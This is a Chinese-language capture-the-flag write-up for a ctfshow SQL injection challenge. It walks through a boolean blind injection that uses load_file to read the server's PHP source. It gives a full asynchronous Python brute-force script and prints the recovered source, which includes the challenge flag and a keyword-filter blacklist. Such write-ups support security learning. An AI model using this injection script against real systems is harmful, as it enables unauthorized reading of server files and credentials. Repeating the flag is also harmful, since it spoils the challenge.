image-20260121143143249

试试上一题用弱比较特性的方法,可以看到出现了密码错误

image-20260121143321186

当用户名输入1时,返回查询失败,可以想到布尔注入

image-20260121143438128

if,ascii,substr,load_file配合来判断,正确返回用户名1,对应查询失败

1
if(ascii(substr(load_file('/var/www/html/api/index.php'),1,1))>0,1,0)

image-20260121143943097

失败返回用户名0,对应密码错误

image-20260121144252823

返回的查询失败都是浏览器给我们unicode解码了的,在bp找到原始返回数据,作为脚本成功标志

image-20260121144443744

写个脚本,源码太多了也容易超时,加几次重试机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import asyncio
import string
import aiohttp

url = "http://b18b649a-59ea-42e3-8203-fef9df516585.challenge.ctf.show/api/index.php"
SEM = asyncio.Semaphore(35)
dic = string.printable

async def check(session, i, c):
async with SEM:
for attempt in range(1000):
try:
data = {
"username": f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={ord(c)},1,0)",
"password": "0"
}
timeout = aiohttp.ClientTimeout(total=5)
async with session.post(url, data=data, timeout=timeout) as resp:
text = await resp.text()
return c if "\\u67e5\\u8be2\\u5931\\u8d25" in text else None
except (asyncio.TimeoutError, aiohttp.ClientError, Exception) as e:
if attempt == 1001:
return None
await asyncio.sleep(0.5)
continue

async def main():
async with aiohttp.ClientSession() as session:
for i in range(1, 100000):
tasks = []
for c in dic:
tasks.append(asyncio.create_task(check(session, i, c)))
for task in asyncio.as_completed(tasks):
result = await task
if result:
print(result, end="", flush=True)
found_this_round = True
for t in tasks:
if not t.done():
t.cancel()
break

if __name__ == "__main__":
asyncio.run(main())

得到所有源码,包括flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-11-01 14:21:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-11-08 14:35:46
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);

require_once "config.php";
$flag = 'ctfshow{ba14424a-360d-4599-a80b-827ee11adc64}';
$ua = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('/sqlmap/i', $ua)){
die(json_encode(array("sqlmap")));

}

if(isset($_POST['username']) && isset($_POST['password'])){
$ret = array(
"code"=>0,
"msg"=>"",
"count"=>0,
"data"=>array()
);
$username = $_POST['username'];
$password = $_POST['password'];
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='';
die(json_encode($ret));
}

if(!is_numeric($password)){
$ret['msg']='';
die(json_encode($ret));
}


$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
if(mysqli_connect_errno()){
die(json_encode(array(mysqli_connect_error())));
}
$conn->query("set name $charName");


$sql = "select pass from ctfshow_user where username = {$username}";
$result = $conn->query($sql);

if($row=$result->fetch_array()){
if($row['pass']==$password){
$ret['msg']='';
}else{
$ret['msg']='';
}
}

echo json_encode($ret);

}